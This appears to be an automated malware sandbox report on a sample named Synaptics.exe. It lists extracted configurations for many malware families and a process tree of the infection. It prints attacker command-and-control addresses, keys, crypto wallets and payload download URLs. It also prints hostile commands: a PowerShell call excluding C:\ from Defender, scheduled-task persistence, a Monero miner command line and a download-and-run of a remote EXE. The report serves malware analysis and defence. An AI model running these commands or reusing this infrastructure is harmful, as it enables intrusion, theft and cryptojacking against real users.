Resubmissions
30/08/2026, 18:07
260830-wqdtasyxd11015/08/2026, 20:51
260815-zm6lpahf9315/08/2026, 20:41
260815-zgvbgagm7y14/08/2026, 22:57
260814-2w7w8aar3y14/08/2026, 11:48
260814-nyhs8aszbx1014/08/2026, 04:14
260814-ett61svse11014/08/2026, 04:07
260814-epvlzscl7y09/08/2026, 10:54
260809-mzv99sztc109/08/2026, 10:54
260809-mzk5aswfjg09/08/2026, 10:47
260809-mv1desdp6xAnalysis
- max time kernel
24s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
06/08/2026, 21:55
General
- Target Synaptics.exe
- Size 764KB
- Sample260806-1swjca1eqc
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Malware Config
Extracted
-
xred
-
xred.mooo.com
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
-
xworm
-
5.0
-
185.208.156.210:7000
-
oZ1kVjhDzAsWplGu
-
Install_directory
%AppData%
-
install_file
XClient.exe
Extracted
-
animateclipper
-
bsc.blockrazor.xyz
-
update-S-2-5-26-24247216-2331352693-3112950123
-
0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f
-
1MuxHw4UUTsGtrYPa648xU822QEnCa7Hdq
-
3CPNSyRZWCpe2RMZ8ZysPkjcJAQJErecTZ
-
4x5U5QpXi4pNnDK9hpmZnV1gYNw78Ns1NWn5KtK5sksc
-
DBwmTibJfzs4nSnpDDsEjfmYqK3MUJDAfy
-
JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ
-
LLSz2i1z6cjdqP34P6n78fCmpEoNAXFEu6
-
MWYxRmLZctVa7QcgiWemXGpvWc4drZBEPj
-
RSqNyaTeGjdbe8541bLG4UWU3jzx9oFGaj
-
TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ
-
UQBEMPCcI_zn2UlBL-7r42fMHr6idU5ph9A_PbQP5lyRSCtd
-
XnbXJUXVRHXP6ejoieGzReP9GTFGvtkEjG
-
bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0
-
bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2
-
cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr
-
ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz
-
qr6ca92nljwal2gct7wy2cjcnr7ksxmtwggt2ryz9y
-
rhFkjpX2kAUVSGGh9ZvGUYsyYMhSgUz14z
-
auth_token
91c5546b-f7c7-40aa-833d-515aa2cb49f6
-
contract
0x6936edc505501EBB2F202C985a021a06f1c10C9E
-
headers
Authorization: 91c5546b-f7c7-40aa-833d-515aa2cb49f6
Content-Type: application/x-www-form-urlencoded
Extracted
-
remus_stealer
-
http://carogra.biz:4219
-
http://myrtler.biz:9549
-
http://angect.xyz:7838
Extracted
-
asyncrat
-
Venom RAT + HVNC + Stealer + Grabber v6.0.3
-
Default
-
89.84.63.139:6606
-
caqxyzoxvrzhnrxwoc
-
delay
1
-
install
false
-
install_folder
%AppData%
-
local_host
127.0.0.1
Extracted
-
remcos
-
5.3.0 Light
-
Prueba
-
192.168.10.1:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
registros.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-7OXI1T
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Capturas de pantalla
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
njrat
-
im523
-
TrupAshot
-
documents-elegant.at.ply.gg:54835
-
4a87b5397a2736773782f50e108b2da4
-
reg_key
4a87b5397a2736773782f50e108b2da4
-
splitter
|'|'|
Extracted
-
stealerium
-
url
https://szurubooru.zulipchat.com/api/v1/messages
Extracted
-
redline
-
first
-
212.56.41.77:1912
Signatures
- Family: AnimateClipper,ZigClipper
AnimateClipper is a Windows crypto clipper that hijacks the clipboard to swap wallet addresses.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Family: Remus
Remus is a stealer written in C++.
- Family: RustMe Keylogger
RustMe is a keylogger written in C++.
- Family: Stealerium
An open source info stealer written in C# first seen in May 2022.
- Family: Xred
Xred is backdoor written in Delphi.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Async RAT payload 1 IoCs
- DCRat payload 3 IoCs
- Detect SalatStealer payload 6 IoCs
- Detect Xworm Payload 2 IoCs
- Detects AnimateClipper 5 IoCs
- Detects DonutLoader 1 IoCs
- Detects RustMe Keylogger 1 IoCs
- Process spawned unexpected child process 15 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 18 IoCs
- Signed with revoked ConnectWise certificate 7 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 16 IoCs
- Loads dropped DLL 12 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 13 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 8 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- UPX packed file 12 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 2 IoCs
- Drops file in Windows directory 11 IoCs
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 15 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 22 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Kills process with taskkill 3 IoCs
- Modifies registry class 4 IoCs
- Runs ping.exe 1 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 19 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 25 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\cleanup_tool.exe"C:\Users\Admin\AppData\Local\Temp\Files\cleanup_tool.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\cleanup.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\cleanup.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\877901a58750.exe"C:\Users\Admin\AppData\Local\Temp\Files\877901a58750.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\namuvpnx2.exe"C:\Users\Admin\AppData\Local\Temp\Files\namuvpnx2.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cmstp.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\.\cmstp.exe 365vpnx2.inf4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\'"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "UpdateManager" /tr "C:\Windows\SystemUpdateCache\UpdateManager.exe" /sc onlogon /rl highest /f4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hack.exe"C:\Users\Admin\AppData\Local\Temp\Files\hack.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\windows\system32\mspaint.exeC:\windows\system32\mspaint.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RustMeDebyg.exe"C:\Users\Admin\AppData\Local\Temp\Files\RustMeDebyg.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\444.exe"C:\Users\Admin\AppData\Local\Temp\Files\444.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\build.exe"C:\Users\Admin\AppData\Local\Temp\Files\build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\8db9776a-af32-4a7a-aaae-462fa6aaef96.bat"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 40085⤵
- Kills process with taskkill
-
-
C:\Windows\system32\timeout.exetimeout /T 2 /NOBREAK5⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TrainJX.exe"C:\Users\Admin\AppData\Local\Temp\Files\TrainJX.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\brbotnet.exe"C:\Users\Admin\AppData\Local\Temp\Files\brbotnet.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_a6357da6a05d7266.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_a6357da6a05d7266.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\Files\xeno.V1.3.55.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\Files\xeno.V1.3.55.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rod_en_1.exe"C:\Users\Admin\AppData\Local\Temp\Files\rod_en_1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\RMO_SE~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\RMO_SE~2.EXE /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-25N70.tmp\is-61368.tmp"C:\Users\Admin\AppData\Local\Temp\is-25N70.tmp\is-61368.tmp" /SL4 $204C0 "C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\RMO_SE~2.EXE" 766219 51712 /PARENT-INST5⤵
-
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\cabalmain.exe"C:\Users\Admin\AppData\Local\Temp\Files\cabalmain.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe"C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe"4⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"5⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_f309f8496f916deb.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_f309f8496f916deb.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_a8b257b458693ac9.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_a8b257b458693ac9.exe"4⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sgn.exe"C:\Users\Admin\AppData\Local\Temp\Files\sgn.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xmrget.exe"C:\Users\Admin\AppData\Local\Temp\Files\xmrget.exe"4⤵
-
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe5⤵
-
-
C:\Users\Admin\sysfrodolv.exeC:\Users\Admin\sysfrodolv.exe5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=256⤵
- Executes a command shell one-liner
-
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=257⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fscan32.exe"C:\Users\Admin\AppData\Local\Temp\Files\fscan32.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xx.exe"C:\Users\Admin\AppData\Local\Temp\Files\xx.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N790ACBXRR.tmp\xx.tmp"C:\Users\Admin\AppData\Local\Temp\is-N790ACBXRR.tmp\xx.tmp" /SL5="$50460,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\Files\xx.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\IMG001.exe"C:\Users\Admin\AppData\Local\Temp\Files\IMG001.exe"4⤵
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\ScreenConnect.ClientSetup.exe"C:\Windows\System32\Files\ScreenConnect.ClientSetup.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\ec47a74386a145bd\ScreenConnect.ClientSetup.msi"4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Windows\SysWOW64\Files\ZubovLekciya.exe"C:\Windows\System32\Files\ZubovLekciya.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\BlockcomrefDhcp\agAs.vbe"4⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\BlockcomrefDhcp\S2T1AGYKXgcDSNksLldDNBs6NjAKZe1cJh6wFjebTHbD.bat" "5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\BlockcomrefDhcp\Portcrt.exe"C:\BlockcomrefDhcp/Portcrt.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\14phhpvOZT.bat"7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650018⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\twain_32\upfc.exe"C:\Windows\twain_32\upfc.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\LsjJJiW2rn.bat"9⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500110⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:210⤵
-
-
C:\Windows\twain_32\upfc.exe"C:\Windows\twain_32\upfc.exe"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\NS7UfUfsaQ.bat"11⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500112⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:212⤵
-
-
C:\Windows\twain_32\upfc.exe"C:\Windows\twain_32\upfc.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\CZMwbrXv0c.bat"13⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500114⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\twain_32\upfc.exe"C:\Windows\twain_32\upfc.exe"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\joyh461nXg.bat"15⤵
- Executes a command shell one-liner
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\Files\file_f309f8496f916deb.exe"C:\Windows\System32\Files\file_f309f8496f916deb.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\Files\XClient...exe"C:\Windows\System32\Files\XClient...exe"3⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\Files\file_3be3fa630977796a.exe"C:\Windows\System32\Files\file_3be3fa630977796a.exe"3⤵
-
C:\Windows\SysWOW64\Files\file_3be3fa630977796a.exe"C:\Windows\SysWOW64\Files\file_3be3fa630977796a.exe" --worker4⤵
-
-
-
C:\Windows\SysWOW64\Files\SshCracker.exe"C:\Windows\System32\Files\SshCracker.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\support.client.exe"C:\Windows\System32\Files\support.client.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
-
C:\Users\Admin\AppData\Local\Apps\2.0\Q0Q33H69.O3O\X7VZ2EVJ.9DB\scre..tion_25b0fbb6ef7eb094_0019.0002_1601b166bb0af22e\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Apps\2.0\Q0Q33H69.O3O\X7VZ2EVJ.9DB\scre..tion_25b0fbb6ef7eb094_0019.0002_1601b166bb0af22e\ScreenConnect.WindowsClient.exe"5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\brbotnet.exe"C:\Windows\System32\Files\brbotnet.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\crypted.exe"C:\Windows\System32\Files\crypted.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
C:\Windows\SysWOW64\Files\XClient.exe"C:\Windows\System32\Files\XClient.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\pvp.exe"C:\Windows\System32\Files\pvp.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\riende.exe"C:\Users\Admin\AppData\Roaming\riende.exe"4⤵
-
-
-
C:\Windows\SysWOW64\Files\svchost.exe"C:\Windows\System32\Files\svchost.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"4⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "UpdateManager" /tr "C:\Windows\SystemUpdateCache\UpdateManager.exe" /sc onlogon /rl highest /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\Files\1.exe"C:\Windows\System32\Files\1.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\update.exe"C:\Windows\System32\Files\update.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\calendar.exe"C:\Windows\System32\Files\calendar.exe"3⤵
-
C:\Windows\SysWOW64\Files\WEBDOWN.EXE"C:\Windows\SysWOW64\Files\WEBDOWN.EXE" http://www.ojang.pe.kr/CALENDAR/DOWN/CALENDAR.EXE "C:\Windows\SysWOW64\Files\calendar.exe" RUN4⤵
-
C:\Windows\SysWOW64\Files\calendar.exeC:\Windows\SysWOW64\Files\calendar.exe5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\adpopup_1382523956.exe"C:\Windows\System32\Files\adpopup_1382523956.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\gallery-dl.exe"C:\Windows\System32\Files\gallery-dl.exe"3⤵
-
C:\Windows\SysWOW64\Files\gallery-dl.exe"C:\Windows\System32\Files\gallery-dl.exe"4⤵
-
-
-
C:\Windows\SysWOW64\Files\TempSpoofer.exe"C:\Windows\System32\Files\TempSpoofer.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\njrat.exe"C:\Windows\System32\Files\njrat.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 9364⤵
-
-
-
C:\Windows\SysWOW64\Files\IMG001.exe"C:\Windows\System32\Files\IMG001.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe4⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe5⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe5⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\SysWOW64\Files\9z7BGnRGpgs8cZv7.exe"C:\Windows\System32\Files\9z7BGnRGpgs8cZv7.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
